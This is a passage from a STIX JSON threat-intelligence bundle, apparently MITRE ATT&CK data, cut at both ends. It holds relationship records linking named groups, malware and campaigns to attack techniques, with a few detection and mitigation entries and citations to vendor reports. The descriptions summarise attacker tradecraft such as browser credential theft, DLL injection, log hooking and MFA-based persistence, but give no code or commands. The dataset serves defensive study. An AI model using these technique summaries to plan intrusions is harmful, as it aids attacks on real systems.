"3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a72f9e78-41af-40c7-bce3-9e1e21d956e2", "type": "relationship", "created": "2020-01-24T14:47:41.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T14:47:41.988Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27", "type": "relationship", "created": "2017-05-31T21:33:27.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control", "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.", "source_name": "Forcepoint Carbanak Google C2"}], "modified": "2020-03-20T21:06:51.449Z", "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.(Citation: Forcepoint Carbanak Google C2)", "relationship_type": "uses", "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a735d1e1-10bf-42e7-aafd-222b4d24d581", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-06T20:22:06.577Z", "description": "Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7361e2b-9cdc-4fa6-97e4-1b191e9f3952", "type": "relationship", "created": "2022-03-21T22:15:27.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}, {"source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021", "url": "https://www.glitch-cat.com/blog/green-lambert-and-attack", "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}], "modified": "2022-03-21T22:16:58.671Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) has encrypted strings.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a737a968-1fec-4e9b-b0dd-d4318f07a691", "type": "relationship", "created": "2021-12-01T18:05:14.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-12-01T18:05:14.835Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to inject DLLs into specific processes.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7392d5f-d653-4b74-bf08-d95beb5fabcc", "created": "2023-07-07T18:06:25.718Z", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-07T18:06:25.718Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) registered devices for MFA to maintain persistence through victims' VPN.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a73d5874-4aa6-4126-8ae6-af7416b7dc43", "type": "relationship", "created": "2020-09-11T15:22:21.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Anchor DNS July 2020", "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}], "modified": "2020-09-11T15:22:21.557Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can determine the public IP and location of a compromised host.(Citation: Medium Anchor DNS July 2020)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a747c7d5-afe9-4120-bb18-f21b5d9bb988", "type": "relationship", "created": "2020-05-18T17:31:39.469Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Maze May 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."}, {"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2020-10-09T16:24:40.189Z", "description": "The [Maze](https://attack.mitre.org/software/S0449) encryption process has used batch scripts with various commands.(Citation: FireEye Maze May 2020)(Citation: Sophos Maze VM September 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a74a0a14-9c50-48b8-aa6d-5b0aea81e8fb", "type": "relationship", "created": "2019-04-23T15:49:35.590Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "source_name": "ESET Ebury Feb 2014"}], "modified": "2020-11-23T17:49:42.493Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) can hook logging functions so that nothing from the backdoor gets sent to the logging facility.(Citation: ESET Ebury Feb 2014)\t", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a74d38f5-92dc-4944-b840-0ab567f8f3ab", "type": "relationship", "created": "2021-06-30T17:12:55.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-10-07T17:28:01.060Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has a module to perform any API hooking it desires.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a7590c10-ba0a-453d-b086-1b3427e20462", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T03:56:03.368Z", "description": "[FruitFly](https://attack.mitre.org/software/S0277) executes and stores obfuscated Perl scripts.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a759cca5-d8f2-4704-88c1-df76a1a1625e", "created": "2023-07-27T20:52:36.627Z", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-27T20:52:36.627Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has used VBS scripts for code execution on comrpomised machines.(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a760c63f-6459-430d-88ce-291513c47d11", "type": "relationship", "created": "2020-08-11T21:15:35.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-19T17:34:47.589Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can process steganographic images attached to email messages to send and receive C2 commands. [RDAT](https://attack.mitre.org/software/S0495) can also embed additional messages within BMP images to communicate with the [RDAT](https://attack.mitre.org/software/S0495) operator.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7653df0-63f4-4632-b5a2-6b00aead446f", "type": "relationship", "created": "2020-03-18T00:48:35.789Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "source_name": "ASERT InnaputRAT April 2018"}], "modified": "2020-03-18T00:48:35.789Z", "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by adding a new service named OfficeUpdateService.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2020-03-20T00:23:02.194Z", "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of stealing usernames and passwords from browsers on the victim machine.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a7744970-817e-43c6-89e4-86907ac20361", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "modified": "2020-01-17T19:39:11.362Z", "description": "[Dok](https://attack.mitre.org/software/S0281) prompts the user for credentials.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a77818b1-bbe8-477f-a8b1-1704e525d5a9", "type": "relationship", "created": "2020-05-06T15:26:38.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."}], "modified": "2020-05-06T15:26:38.977Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has been executed via malicious links in e-mails.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a778d83c-5452-49ff-87dd-dbd3ef0d380f", "created": "2022-09-27T16:24:55.723Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:24:55.723Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the XServer backdoor to exfiltrate data.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a779fd0b-0fa0-4bcd-837f-4d3e12482ca1", "type": "relationship", "created": "2021-10-17T15:10:00.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. 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(2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.328Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) has attempted to get users to execute a malicious .app file that looks like a Flash Player update.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a77f2c84-7538-48f5-8809-df2fa47ab6df", "created": "2022-09-21T14:48:46.354Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T20:55:50.611Z", "description": "(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a78310c3-ee57-465a-9983-13c6a7cd1d4f", "created": "2022-01-07T16:19:16.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.682Z", "description": "[Axiom](https://attack.mitre.org/groups/G0001) has targeted victims with remote administration tools including RDP.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a78399ce-b5c4-4484-bdbb-3f9367cb1403", "created": "2022-09-30T19:05:56.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CYBERCOM Iranian Intel Cyber January 2022", "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T12:43:55.850Z", "description": "[PowGoop](https://attack.mitre.org/software/S1046) can send HTTP GET requests to malicious servers.(Citation: CYBERCOM Iranian Intel Cyber January 2022)", "relationship_type": "uses", "source_ref": "malware--c19d19ae-dd58-4584-8469-966bbeaa80e3", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a789a8cd-356f-4211-bffd-7ad1197b65a3", "created": "2023-09-05T14:21:17.920Z", "revoked": false, "external_references": [{"source_name": "Microsoft Cryptojacking 2023", "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-05T14:21:17.920Z", "description": "Monitor for quota increases across all regions, especially multiple quota increases in a short period of time or quota increases in unused regions. Monitor for changes to tenant-level settings such as subscriptions and enabled regions.(Citation: Microsoft Cryptojacking 2023)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", "target_ref": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a78cac98-60e1-406a-8486-fcaf04a644e3", "created": "2020-10-19T23:49:08.663Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "US-CERT TA17-156A SNMP Abuse 2017", "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A", "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "modified": "2022-04-19T21:34:20.193Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a78cd480-758b-4fb5-a60a-ecb86d837012", "type": "relationship", "created": "2021-10-06T16:13:04.790Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-10-06T16:13:04.790Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has packed malware with UPX.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a79a17c4-02d1-463f-ac0a-d62b20d10b2f", "type": "relationship", "created": "2020-10-28T13:16:12.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike BloodHound April 2018", "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}], "modified": "2020-11-24T20:07:19.298Z", "description": "[BloodHound](https://attack.mitre.org/software/S0521) has the ability to map domain trusts and identify misconfigurations for potential abuse.(Citation: CrowdStrike BloodHound April 2018)", "relationship_type": "uses", "source_ref": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a79df7b6-91d5-4019-9a86-830bc0edc2aa", "created": "2023-09-28T13:27:14.306Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": 